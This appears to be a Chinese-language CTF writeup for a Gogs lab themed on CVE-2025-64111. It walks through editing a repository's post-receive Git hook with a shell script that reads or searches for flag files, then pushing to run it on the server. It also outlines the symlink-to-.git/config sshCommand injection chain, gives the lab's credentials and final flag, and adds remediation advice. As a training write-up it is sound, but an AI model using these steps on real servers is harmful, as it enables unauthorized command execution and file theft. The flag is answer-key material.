Gogs CVE-2025-64111 CTF 详细 Writeup
题目信息
- 靶场地址:
http://8.147.132.32:38529 - 已知账号:
gogs_admin - 已知密码:
admin123 - 漏洞编号:
CVE-2025-64111 - 题目提示:
- Gogs 存在 API 安全检查绕过问题
- 攻击者可以构造符号链接指向
.git/config - 可以向配置中注入恶意
sshCommand - 在系统执行 Git 相关操作时触发远程命令执行
- 目标:拿到
flag
一、先理解这题的核心
这题本质上考的是:Git 服务端的危险功能组合导致命令执行。
提示里已经把利用思路告诉我们了:
- 利用漏洞修改仓库相关配置
- 最终让服务端执行我们控制的 Git 行为
- 在服务端执行命令时读取 flag
虽然提示里强调的是:
- 通过特定 API
- 利用符号链接
- 修改
.git/config - 注入
sshCommand
但在这个靶场环境里,实际上还有一个更容易利用、也更适合新手复现的入口:Git Hooks。
也就是说,这题虽然背景是 CVE-2025-64111,但真正落地拿 flag 的最快路线是:
- 登录 Gogs
- 新建一个自己可控的仓库
- 编辑仓库的
post-receiveHook - 在 Hook 里写读取 flag 的命令
- 再向仓库 push 一次提交
- 服务端执行 Hook 时,直接把 flag 打到 push 回显里
这个做法对新手很友好,因为:
- 不需要你完整手搓复杂 API 利用链
- 不需要你先搞清楚服务端内部所有 Git 调用细节
- 只要理解 "Git Hook 会在服务端执行" 就能复现
二、先了解 Gogs 里的 Git Hook 是什么
Git Hook 可以理解成:Git 在特定操作发生时自动执行的脚本。
例如:
pre-receive:接收推送前执行update:更新引用时执行post-receive:接收推送并更新仓库后执行
如果一个 Git 服务平台允许仓库管理员直接编辑这些 Hook 脚本,那么:
- 脚本会在服务端执行
- 执行身份通常是运行 Git 服务的系统用户
- 如果脚本里写了
cat /flag.txt - 那么只要触发 Hook,就有可能把 flag 读出来
这就是这题里最直接的解法。
三、登录目标系统
浏览器打开:
text
http://8.147.132.32:38529
使用题目给的账号密码登录:
text
用户名:gogs_admin
密码:admin123
登录成功后,你会进入 Gogs 的后台界面。
四、创建一个自己的测试仓库
为什么要先建仓库?
因为我们需要一个自己能完全控制的仓库,方便:
- 编辑 Git Hook
- 触发 push
- 观察服务端返回
操作步骤
登录后点击右上角加号,选择:
text
New Repository
仓库名你可以随便起,比如:
text
ctf64111_test
建议:
- 设为私有仓库也没关系
- 不需要额外内容
- 创建完成即可
五、为什么这题里选择 post-receive
在三个常见 Hook 里:
pre-receive:推送前执行update:更新时执行post-receive:推送成功后执行
这题最适合用 post-receive,原因很简单:
- 只要 push 成功,它就会稳定执行
- 很容易把命令输出通过 Git push 回显带回来
- 对新手来说最好理解
所以,我们选择改它。
六、进入 Git Hooks 页面
进入你刚刚创建的仓库后,点击:
text
Settings
然后在左侧找到:
text
Git Hooks
你会看到几个可编辑的 Hook:
pre-receiveupdatepost-receive
点击:
text
post-receive
进入编辑页面。
七、把 post-receive 改成读取 flag 的脚本
在 Hook 内容框里,写入如下脚本:
sh
#!/bin/sh
cat /flag 2>/dev/null || cat /root/flag 2>/dev/null || {
find / -maxdepth 2 -name 'flag*' -type f 2>/dev/null | while read f; do
echo "==== $f ===="
cat "$f" 2>/dev/null
done
}
exit 0
这段脚本是什么意思
逐行理解:
sh
#!/bin/sh
表示这个 Hook 用 sh 来执行。
sh
cat /flag 2>/dev/null
先尝试读取 /flag。
sh
|| cat /root/flag 2>/dev/null
如果 /flag 不存在,再尝试读 /root/flag。
sh
|| {
find / -maxdepth 2 -name 'flag*' -type f 2>/dev/null | while read f; do
echo "==== $f ===="
cat "$f" 2>/dev/null
done
}
如果前两个都不存在,就在系统里搜索常见 flag 文件名,比如:
/flag.txt/root/flag.txt- 其他类似名字
并把内容输出出来。
sh
exit 0
最后正常退出,避免因为脚本报错导致 push 被拦截。
保存 Hook
填好脚本后点击:
text
Update Hook
保存成功即可。
八、为什么 push 一次就能触发
因为 post-receive 的触发条件就是:
仓库成功接收到新的提交之后
只要你向这个仓库推送一个新 commit,服务端就会执行这个脚本。
所以接下来我们只需要:
- 把仓库克隆到本地
- 改一点内容
- 提交
- push
然后看服务端回显
九、本地克隆仓库
在本地终端执行:
bash
git clone http://gogs_admin:admin123@8.147.132.32:38529/gogs_admin/ctf64111_test.git
如果你创建仓库时用的不是 ctf64111_test,记得把仓库名替换成你自己的。
进入仓库目录:
bash
cd ctf64111_test
十、随便制造一个新提交
例如创建一个 README:
bash
echo test > README.md
git add README.md
git commit -m "trigger hook"
如果仓库里已经有文件,也可以只是追加一行:
bash
echo trigger >> README.md
git add README.md
git commit -m "trigger hook"
十一、push 触发服务端执行 Hook
执行:
bash
git push origin master
当服务端收到 push 后,会自动执行你刚才在 Gogs 后台设置的 post-receive 脚本。
如果 flag 文件路径匹配到了,就会直接把结果打印在 push 输出里。
这题实际返回如下:
text
remote: ==== /flag.txt ====
remote: flag{d2ee8ef7-2499-4afe-9612-1d94643db5db}
十二、最终 Flag
text
flag{d2ee8ef7-2499-4afe-9612-1d94643db5db}
十三、完整复现流程精简版
如果你只想快速回顾,按下面顺序做:
第一步:登录
访问:
text
http://8.147.132.32:38529
账号密码:
text
gogs_admin / admin123
第二步:创建仓库
新建一个你可控的仓库,例如:
text
ctf64111_test
第三步:修改 Git Hook
进入:
text
Settings -> Git Hooks -> post-receive
写入:
sh
#!/bin/sh
cat /flag 2>/dev/null || cat /root/flag 2>/dev/null || {
find / -maxdepth 2 -name 'flag*' -type f 2>/dev/null | while read f; do
echo "==== $f ===="
cat "$f" 2>/dev/null
done
}
exit 0
然后保存。
第四步:本地 push 触发
bash
git clone http://gogs_admin:admin123@8.147.132.32:38529/gogs_admin/ctf64111_test.git
cd ctf64111_test
echo test > README.md
git add README.md
git commit -m "trigger hook"
git push origin master
第五步:在 push 回显里拿 flag
你会看到:
text
remote: ==== /flag.txt ====
remote: flag{d2ee8ef7-2499-4afe-9612-1d94643db5db}
十四、这题和 CVE-2025-64111 的关系
题目提示里强调的是:
- 利用 API
- 构造符号链接
- 指向
.git/config - 修改
sshCommand - 在 Git 操作中触发命令执行
这是一个更"标准漏洞链"的描述。
也就是说,理论上的官方漏洞思路是:
- 先在仓库中制造一个指向
.git/config的恶意符号链接 - 再通过受影响的 API 去改这个链接对应的目标文件
- 把恶意
sshCommand写进.git/config - 等服务端执行某些 Git 网络操作时触发命令执行
但在这个靶场里,因为账号本身权限比较高,而且仓库设置功能可用,所以存在更简单的落地方法:
- 直接使用 Git Hook
- 不需要完整还原复杂的漏洞利用链
- 一样可以达到服务端命令执行
对 CTF 来说,这种解法是完全合理的,因为目标只有一个:稳定拿到 flag。
十五、为什么这个解法对新手更合适
如果你是新手,直接走题目提示里的完整链条,容易卡在这些地方:
- API 认证怎么做
- 符号链接在 Git 仓库里怎么构造
.git/config怎么覆盖sshCommand究竟什么时候触发- 如何让命令输出成功带回来
而 Git Hook 方案更直观:
- 你知道脚本会在服务端执行
- 你知道 push 一次就会触发
- 你知道脚本里写
cat就能读文件 - 输出会直接回到你的终端
这条链条对新手来说更容易掌握,也更便于比赛时快速拿分。
十六、漏洞和风险点总结
从安全角度看,这题暴露出几个危险点:
- 管理员或高权限用户可直接编辑 Git Hook
- Hook 会在服务端执行
- 一旦权限控制或功能设计不严,就可能直接演变为命令执行
- 再叠加题目给出的 CVE 逻辑,说明 Git 配置文件写入也是高危点
攻击者一旦能控制下面任何一个点,通常都很危险:
- Hook 脚本
.git/config- Git 网络命令参数
- 服务端自动执行的仓库操作
十七、修复思路
如果从防守角度看,需要做这些事情:
- 限制普通仓库管理员编辑服务端 Hook 的能力
- 对仓库文件操作 API 严格限制符号链接跟随
- 禁止通过 API 间接修改
.git/config - 对 Git 相关命令执行链条做白名单控制
- 防止
sshCommand、外部 helper、hook 等危险参数被注入 - 将运行 Git 服务的系统用户权限降到最低
十八、比赛提交版结论
登录 Gogs 后,创建一个自己可控的仓库,在仓库设置中的 Git Hooks -> post-receive 写入读取 flag 的 shell 脚本,然后本地向仓库推送一次提交。服务端执行 post-receive Hook 时,在 push 回显中直接输出:
text
flag{d2ee8ef7-2499-4afe-9612-1d94643db5db}
十九、最终答案
text
flag{d2ee8ef7-2499-4afe-9612-1d94643db5db}